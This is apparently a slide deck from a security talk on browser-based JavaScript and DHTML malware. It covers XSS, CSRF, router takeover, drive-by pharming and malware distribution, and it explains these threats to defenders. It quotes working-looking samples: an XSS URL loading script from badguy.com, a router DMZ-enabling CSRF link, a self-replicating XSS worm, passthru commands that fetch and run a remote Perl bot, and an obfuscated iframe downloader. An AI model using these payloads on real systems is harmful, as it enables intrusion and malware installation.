

The logo for SecTheory Internet Security features the word "SecTheory" in a large, bold, italicized sans-serif font. Below it, the words "Internet Security" are written in a smaller, plain sans-serif font. A large, light gray, stylized graphic element, resembling a thick, irregular loop or a stylized letter 'D', is positioned behind the text, partially overlapping the word "Theory".

***SecTheory***  
Internet Security

# About Me

- ▣ Robert Hansen - CEO
- ▣ SecTheory LLC
  - Bespoke Boutique Internet Security
    - Web Application/Browser Security/Phishing
    - Network/OS Security/Research
    - <http://www.sectheory.com/>
- ▣ Advisory capacity to VCs/start-ups
- ▣ Founded the web application security lab
  - <http://ha.ckers.org/> - the lab
  - <http://sla.ckers.org/> - the forum




# JavaScript and DHTML Malware

## The Emerging Threat

- ▣ Unlike traditional Malware, DHTML Malware is browser and is OS agnostic.
- ▣ It bypasses firewalls because the browser is allowed to contact the Internet.
- ▣ DHTML malware breaks the “same origin policy” enforced by the browsers.
- ▣ Almost no trace (difficult for forensics)
- ▣ It is a conduit for traditional malware.



# I don't need AV – I need ACW



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# Quick Definition List


- ▣ XSS – Cross Site Scripting and CSRF – Cross Site Request Forgeries
  - Doesn't have to be “cross” site at all
  - Can phish users or steal cookies
  - Can force your browser to connect to other web pages on the attacker's behalf
- ▣ DHTML Malware – Dynamic HTML Malware
  - JavaScript, Java, VBScript, Flash, CSS

# Evolution of DHTML Malware

- ▣ Port 80 is the ubiquitous open port
- ▣ Browsers are universal and (almost completely cross compatible)
- ▣ XSS – Outlined by MS in 2000
- ▣ XSS comes in three flavors:
  - ▣ DOM (PDF vulnerability)
  - ▣ Reflected (Google)
  - ▣ Persistent (eBay)
- ▣ CSRF's evolution has been long, hard and under-reported according to MITRE.

# Uh oh – 2005 hits!

- ▣ Samy Worm (Oct 2005)
- ▣ It started with a router
  - ▣ Intranet port scanning
    - ▣ Combining XSS with CSRF
    - ▣ Bypassing port restrictions
- ▣ Exponential XSS
  - ▣ Njuda
- ▣ CSS history theft



AboveNet™


## Abovenet Looking Glass

Type of Query	Additional parameters	Node
<input type="radio"/> bgp		
<input type="radio"/> ping	<input type="text"/> / 32	cr1.ams2.nl.above.net
<input checked="" type="radio"/> trace		

Submit Reset

# Samy Misnomer


MySpace Worm Propagation



- 1,000,000+ infections
- While accurate for propagation metrics, we know it was far far higher!
- No one knows for sure how high.




# 2006-7 Gets Worse



- ▣ Intranet Hacking
- ▣ Non JS Malware
- ▣ Desktop compromises (PDF, Quicktime)
- ▣ Inter Protocol Exploitation
- ▣ DNS Rebinding

# Intranet Hacking Through Web Pages

upload:  image  url  video



# Blogengine.NET Example

- ▣ Bad guy forces user to the following URL:
- ▣ `http://wiki/search.aspx?q=%22%3E%3Cscript%20src=http://badguy.com/hack.js%3E%3C/script%3E`
- ▣ Attacker's code is now running in the context of the internal wiki page and forces a request to `/js.axd?path=http://192.168.0.1/` then `.2` and so on...
- ▣ JavaScript sends data received out to a logging script on the internet. And bad guy can now see read pages behind your firewall.

# CSRF Takes Over Routers and Firewalls

## ▣ Month of Router Bugs

- WRT54G firmware version: v1.00.9:

[http://192.168.1.1/dmz.tri?action=Apply&dmz\\_enable=1&dmz\\_ipaddr=100&layout=en](http://192.168.1.1/dmz.tri?action=Apply&dmz_enable=1&dmz_ipaddr=100&layout=en)



The screenshot shows a web browser window with the Symantec logo and navigation links (casts, Events, News) at the top. A search bar contains the text "All of Symantec". The main content area displays a breadcrumb trail: "Symantec.com > Enterprise > Security Response > Weblog > Emerging > Wild". Below this is the article title "Drive-by Pharming in the Wild". The article text begins with: "In a previous [blog entry](#) posted almost a year ago, I talked about the concept of a drive-by pharming attack. With this sort of attack, all a victim would have to do to be susceptible is simply view the attacker's malicious HTML or JavaScript code, which could be placed on a Web page or embedded in an email. The attacker's malicious code could change the DNS server settings on the victim's home broadband router (whether or not it's a wireless router). From then on, all future DNS requests would be resolved by the attacker's DNS server, which meant that the attacker effectively could control the victim's Internet connection." The text continues with "At the time we described the attack concept, it was theoretical in".

# What's Currently Possible With a Browser and Without Exploits

- ▣ Port scanning (JS/CSRF)
- ▣ Browser history theft (with and without JS)
- ▣ Intranet hacking (CSRF)
- ▣ Credential theft (XSS)
- ▣ XSS Phishing (JS and HTML/CSS)
  - ▣ Breaks a lot of anti-phishing technology
- ▣ Click Fraud (JS and HTML)

# Today's Big Browser Threats (1)

- ▣ Cross/same site request forgeries
  - IMG
  - LINK
  - IFRAME/FRAME
  - OBJECT/EMBED/APPLET
  - BGSOUND
  - SCRIPT
  - Hovering iframes
  - Client side apps
  - X-domain XHR
  - Redirection of URLs
  - ...



# Today's Big Browser Threats (2)

- ▣ De-anonmization
  - Cookies/Flash cookies
  - Browser caching (eTag)
  - IE & JS Persistence
  - Machine fingerprinting
  - TCP/OS fingerprinting
  - TCP/clock skew timing
  - CSS history/referrers
  - Offline enabled apps
  - Java Sockets & file:///
  - Statistical observation/MITM
  - ...



# Today's Big Browser Threats (3)

## ▣ Identity Theft

- Phishing on remote domains
- XSS phish on white listed sites
- IDN/Punycode
- Credential theft
- Embedded basic auth
- CSS overlay of forms
- DNS Pharming
- Keystroke logging/malware
- MITM
- Obfuscated HTML
- Password manager hijacking

■ ...





# Diminutive Worms

- ▣ Diminutive worm writing contest
- ▣ `<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',155)))">`
- ▣ 161 Bytes
- ▣ Completely self replicating by posting itself to another page on the same domain
- ▣ Caveats:
  - ▣ No payload
  - ▣ One site specific reference (post.php), which makes it less extensible

# Blackhat SEO

.f you want others to be happy, pract..ce compass..on.  
.f you want to be happy, pract..ce compass..on  
The Dalai Lama

How much less stress and misery do .. find myself wallowing ..n when .. laugh off my problems and focus on what's going r..ght? How many less wrinkles, r..ght? .. believe ..'ve started my l..fe off by being opt..m..st..c. ..'m learning to be real..st..c. To ..ject more patience ..n my l..fe would be a blessing, both to myself and those who .. need ..t w..th. Understanding ..s not needed because .. th..nk .. understand too well. Maybe a l..ttle less of that and a l..ttle more faith.

Makes me feel a l..ttle more peaceful already.

PS: .. do not know why MySpace ate my ".."s, however, ..t's k..nd of cute ..f you th..nk of ..t as a g..ant Hangman game. Patience patience w..th technology



Currently listening :  
**[Connie Francis - Where the Boys Are: 24 Greatest Hits](#)**  
By Connie Francis  
Release date: By 27 February, 2001

11:25 PM - 0 Comments - 2 Kudos - [Add Comment](#)

Phenterm  
Submitted by P

**Phenterm**  
http://educat  
Phentermine  
http://educat  
Tramadol

» reply

```
nup://www.pikant.hu/images/v9.txt;perl v9.txt;rm -rf *v9*); passthru('cd /dev/shm;wp-download  
http://www.pikant.hu/images/v9.txt;perl v9.txt;rm -rf *v9*'); passthru('cd /dev/shm;lynx -source  
http://www.pikant.hu/images/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*'); passthru('cd /dev/shm;fetch  
http://www.pikant.hu/images/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*'); passthru('cd /dev/shm;GET  
http://www.pikant.hu/images/v9.txt >v9.txt;perl v9.txt;rm -rf *v9*'); passthru('echo By Morgan');  
passthru('printf By Morgann'); ?> // By Morgan
```

Done Internet

A lot of assumptions in the comments

# HTML TIMTOWTDI

- ▣ HTML anyone?
- ▣ <BDO

This page is not Valid XHTML 1.0 Transitional!

**Result:** Failed validation, 109 Errors

**Address :**

 Source of: <http://www.us-cert.gov/> - Mozilla Firefox

File Edit View Help

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
```

- ▣ XHTML does not solve this problem because no one uses it, a lot of times even when they claim to.

# Traditional Malware

- Traditional Malware is a huge problem
- But it needs to find some way to install itself.
- Downloads are easy, but even easier is browser exploits...

**SpreadThatFile.com**

⚠ \_JS\_NEED

### Low download counts?

**We'll spread your application and install it to thousands of computers**

Your executable will be embedded into media files which are spread through P2P networks. This is the fastest method, it yields high download counts quickly. On opening the downloaded media file, your application will be executed.

**We have delivered more than 500,000 installs in last month!**

- Upload your .exe file
- Enter your name, e-mail (valid e-mail address is required for transaction)
- Total cost are calculated on entering the number of installs required
- Click on the payment button (shown after successful upload)
- Pay for the service via Paypal
- We'll start spreading your application in a...

### Upload file:

File will begin to upload just after selection. Fill the form while you file is being uploaded.

⚠ Maximum file size: 25MB

**File to upload (.exe only):**

**Your name:**

**Your e-mail:**  
(valid e-mail address is required for transaction)

**File description: (optional)**

**Installs required: (minimum 200)**

**Total price:**

Copyright © 2007 SpreadThatFile.com

Home  
Price  
Stats  
Sign Up

Октябрь 26/2007  
Налетай на ES IT DE , идёт хороший пидня.

Октябрь 23/2007  
Введено принудительная проверка грузимых файлов на предмет вредности , если файл пахнет более чем 30% из тестируемых 11 антивирусов , то загрузка данной зашки прекращается и рядом с ней появляется уведомление. Проверка файлов производится через приватный сервис.

Октябрь 16/2007  
Налетай не скупись покупай живей! :з ) а точнее текс и юсу.


Август 30/2007  
Введен новый файл...

ES 200\$  
US 110\$  
BG 100\$  
DK 100\$  
FR 100\$  
PT 100\$  
NL 100\$  
CA 80\$  
JP 80\$  
SE 70\$  
BR 60\$  
TR 60\$  
NO 50\$

Order now  
Order now  
Order now  
Order now  
Order now  
Order now  
Order now  
Order now  
Order now  
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Order now  
Order now  
Order now

# JS Malware

MS06-014 Exploit on  
Facebook (10/15/2007)



- ▣ NCFTA coverage of the Facebook ad malware
- ▣ Miami dolphins
- ▣ eBay
- ▣ Google adwords
- ▣ “experts still vouch for the safety of search engines-- as long as your software is patched and up to date” – news.com

# Iframe Downloader Trojan

- ▣ `<iframe src="http://bad.com/hack/" width="0" height="0" border="0"></iframe>`
- ▣ `<script>`  
`t="60,115,99,114,105,112,116,32,108,97,110,103,118,97`  
`,103,101,61,106,97,118,97,115,99,114,105,112,`  
`116,62,13,10,118,97,114,32,117,114,108,44,112,97,116,`  
`104,44,118,97,114,49,44,118,97,114,50,44,118,97,`  
**[many lines removed]**  
`t=eval("String.fromCharCode("+t+")");`  
`document.write(t);</script>`
- ▣ XMLRPC to download binary onto the drive then uses ActiveX to execute the binary.

# Escalation

- ▣ Who here uses a password more than once?
- ▣ Phishing and Password Manager Hacking both give attackers the username and password.
- ▣ Phishers have begun realizing that users use the same password >50% of the time.
- ▣ >40k accounts were taken over using Tor exit nodes in this way, including the 100 embassy passwords.
- ▣ Compromising email addresses is giving attackers greater and greater access, as webmail usage soars.
- ▣ Consumers don't see the value in low value target compromise, even though they use the same password.

# How we tend to convey the “solution”

- ▣ Don't use JS
  - Use JS for auth pages
- ▣ Don't install anything
  - Install Patches
  - Use plugins (Eg: noscript)
- ▣ Don't use social networks
  - Use separate browsers
- ▣ Pick secure passwords
  - Don't re-use passwords
- ▣ Type the URL
  - Look for the green bar
  - .bank TLD
  - Look for the lock
- ▣ ...






# Where We Are

- ▣ MySpace was just the beginning and education is not shown to be effective.
- ▣ “Ten f\*cking days” – Mike Shaver
- ▣ “We haven’t seen our slammer or our blaster yet.” - Jeremiah Grossman
- ▣ Tip of the iceberg considering routers alone – millions of users are at risk.
- ▣ “Click a link, go to jail.”
  - ▣ `<META HTTP-EQUIV="refresh" CONTENT="0;url=http://child-porn-site">`
  - ▣ No referrers were logged

# Who's To Blame

- Network engineers
- Web Developers
- Browser Manufacturers
- Plugin developers
- Marketers/advertisers
- Bad guys
- “Stupid people”
- Al Gore



# What's Needed

- ▣ “This sentence is a lie.” -Spock. “If you trust me, trust me when I tell you to distrust me.” -RSnake.
  - On-page sandboxing/Content restrictions
- ▣ Secured “Zones”
- ▣ APIs (Callback's, intercept network data, network call to DOM mapping)
- ▣ Protected/untainted JavaScript
- ▣ Standardized Authentication (Eg: auto log-out)
- ▣ Browser-Sec

# Questions/Comments?

- ▣ Robert Hansen
  - robert\_at\_sectheory\_d0t\_com
  - <http://www.sectheory.com/>
  - XSS Book: XSS Exploits and Defense
    - ▣ ISBN: 1597491543

